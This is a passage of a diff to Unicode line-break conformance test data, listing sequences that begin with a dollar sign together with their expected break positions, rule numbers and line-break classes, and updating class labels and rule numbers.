+× 0024 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 0024 × 002D ÷ # × [0.3] DOLLAR SIGN (PR) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
× 0024 × 0020 ÷ 002D ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 0024 × 0308 × 002D ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× 0024 × 0308 × 0020 ÷ 002D ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 0024 × 231A ÷ # × [0.3] DOLLAR SIGN (PR) × [24.01] WATCH (ID) ÷ [0.3]
+× 0024 × 0308 × 002D ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 0024 × 0308 × 0020 ÷ 002D ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 0024 × 231A ÷ # × [0.3] DOLLAR SIGN (PR) × [23.12] WATCH (ID) ÷ [0.3]
× 0024 × 0020 ÷ 231A ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× 0024 × 0308 × 231A ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [24.01] WATCH (ID) ÷ [0.3]
-× 0024 × 0308 × 0020 ÷ 231A ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 0024 × 0308 × 231A ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [23.12] WATCH (ID) ÷ [0.3]
+× 0024 × 0308 × 0020 ÷ 231A ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× 0024 ÷ 2024 ÷ # × [0.3] DOLLAR SIGN (PR) ÷ [999.0] ONE DOT LEADER (IN) ÷ [0.3]
× 0024 × 0020 ÷ 2024 ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 0024 × 0308 ÷ 2024 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 0024 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 0024 × 0308 ÷ 2024 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 0024 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× 0024 × 002C ÷ # × [0.3] DOLLAR SIGN (PR) × [13.02] COMMA (IS) ÷ [0.3]
× 0024 × 0020 × 002C ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× 0024 × 0308 × 002C ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [13.03] COMMA (IS) ÷ [0.3]
-× 0024 × 0308 × 0020 × 002C ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 0024 × 0308 × 002C ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] COMMA (IS) ÷ [0.3]
+× 0024 × 0308 × 0020 × 002C ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× 0024 × 1100 ÷ # × [0.3] DOLLAR SIGN (PR) × [27.03] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 0024 × 0020 ÷ 1100 ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 0024 × 0308 × 1100 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [27.03] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 0024 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 0024 × 0308 × 1100 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [27.03] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 0024 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 0024 × 11A8 ÷ # × [0.3] DOLLAR SIGN (PR) × [27.03] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 0024 × 0020 ÷ 11A8 ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 0024 × 0308 × 11A8 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [27.03] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 0024 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 0024 × 0308 × 11A8 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [27.03] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 0024 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 0024 × 1160 ÷ # × [0.3] DOLLAR SIGN (PR) × [27.03] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 0024 × 0020 ÷ 1160 ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 0024 × 0308 × 1160 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [27.03] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 0024 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 0024 × 0308 × 1160 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [27.03] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 0024 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 0024 × 000A ÷ # × [0.3] DOLLAR SIGN (PR) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 0024 × 0020 × 000A ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 0024 × 0308 × 000A ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 0024 × 0308 × 0020 × 000A ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 0024 × 0308 × 000A ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 0024 × 0308 × 0020 × 000A ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 0024 × 0085 ÷ # × [0.3] DOLLAR SIGN (PR) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 0024 × 0020 × 0085 ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 0024 × 0308 × 0085 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 0024 × 0308 × 0020 × 0085 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 0024 × 0308 × 0085 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 0024 × 0308 × 0020 × 0085 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 0024 × 17D6 ÷ # × [0.3] DOLLAR SIGN (PR) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 0024 × 0020 ÷ 17D6 ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 0024 × 0308 × 17D6 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 0024 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 0024 × 0308 × 17D6 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 0024 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 0024 × 0030 ÷ # × [0.3] DOLLAR SIGN (PR) × [25.01] DIGIT ZERO (NU) ÷ [0.3]
× 0024 × 0020 ÷ 0030 ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× 0024 × 0308 × 0030 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [25.01] DIGIT ZERO (NU) ÷ [0.3]
-× 0024 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 0024 × 0308 × 0030 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [25.01] DIGIT ZERO (NU) ÷ [0.3]
+× 0024 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× 0024 ÷ 0028 ÷ # × [0.3] DOLLAR SIGN (PR) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 0024 × 0020 ÷ 0028 ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 0024 × 0308 ÷ 0028 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 0024 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 0024 × 0308 ÷ 0028 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 0024 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 0024 ÷ 0025 ÷ # × [0.3] DOLLAR SIGN (PR) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
× 0024 × 0020 ÷ 0025 ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 0024 × 0308 ÷ 0025 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
-× 0024 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 0024 × 0308 ÷ 0025 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
+× 0024 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
× 0024 ÷ 0024 ÷ # × [0.3] DOLLAR SIGN (PR) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
× 0024 × 0020 ÷ 0024 ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 0024 × 0308 ÷ 0024 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 0024 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 0024 × 0308 ÷ 0024 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 0024 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× 0024 × 0022 ÷ # × [0.3] DOLLAR SIGN (PR) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
× 0024 × 0020 ÷ 0022 ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× 0024 × 0308 × 0022 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
-× 0024 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 0024 × 0308 × 0022 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 0024 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× 0024 × 0020 ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) ÷ [0.3]
× 0024 × 0020 × 0020 ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× 0024 × 0308 × 0020 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 0024 × 0308 × 0020 × 0020 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 0024 × 0308 × 0020 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 0024 × 0308 × 0020 × 0020 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× 0024 × 002F ÷ # × [0.3] DOLLAR SIGN (PR) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 0024 × 0020 × 002F ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× 0024 × 0308 × 002F ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
-× 0024 × 0308 × 0020 × 002F ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 0024 × 0308 × 002F ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
+× 0024 × 0308 × 0020 × 002F ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 0024 × 2060 ÷ # × [0.3] DOLLAR SIGN (PR) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 0024 × 0020 × 2060 ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 0024 × 0308 × 2060 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 0024 × 0308 × 0020 × 2060 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 0024 × 0308 × 2060 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 0024 × 0308 × 0020 × 2060 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 0024 × 200B ÷ # × [0.3] DOLLAR SIGN (PR) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 0024 × 0020 × 200B ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 0024 × 0308 × 200B ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 0024 × 0308 × 0020 × 200B ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 0024 × 0308 × 200B ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 0024 × 0308 × 0020 × 200B ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 0024 ÷ 1F1E6 ÷ # × [0.3] DOLLAR SIGN (PR) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× 0024 × 0020 ÷ 1F1E6 ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 0024 × 0308 ÷ 1F1E6 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 0024 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0024 × 0308 ÷ 1F1E6 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0024 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0024 × 261D ÷ # × [0.3] DOLLAR SIGN (PR) × [23.12] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0024 × 0020 ÷ 261D ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0024 × 0308 × 261D ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [23.12] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0024 × 0308 × 0020 ÷ 261D ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0024 × 1F3FB ÷ # × [0.3] DOLLAR SIGN (PR) × [23.12] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0024 × 0020 ÷ 1F3FB ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0024 × 0308 × 1F3FB ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [23.12] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0024 × 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0024 × 0001 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0024 × 0020 ÷ 0001 ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0024 × 0308 × 0001 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0024 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0024 × 200D ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0024 × 0020 ÷ 200D ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0024 × 0308 × 200D ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0024 × 0308 × 0020 ÷ 200D ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
× 0024 × 00A7 ÷ # × [0.3] DOLLAR SIGN (PR) × [24.02] SECTION SIGN (AI_AL) ÷ [0.3]
× 0024 × 0020 ÷ 00A7 ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 0024 × 0308 × 00A7 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [24.02] SECTION SIGN (AI_AL) ÷ [0.3]
-× 0024 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 0024 × 0308 × 00A7 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [24.02] SECTION SIGN (AI_AL) ÷ [0.3]
+× 0024 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 0024 × 50005 ÷ # × [0.3] DOLLAR SIGN (PR) × [24.02] <reserved-50005> (XX_AL) ÷ [0.3]
× 0024 × 0020 ÷ 50005 ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 0024 × 0308 × 50005 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [24.02] <reserved-50005> (XX_AL) ÷ [0.3]
-× 0024 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 0024 × 0308 × 50005 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [24.02] <reserved-50005> (XX_AL) ÷ [0.3]
+× 0024 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 0024 × 0E01 ÷ # × [0.3] DOLLAR SIGN (PR) × [24.02] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
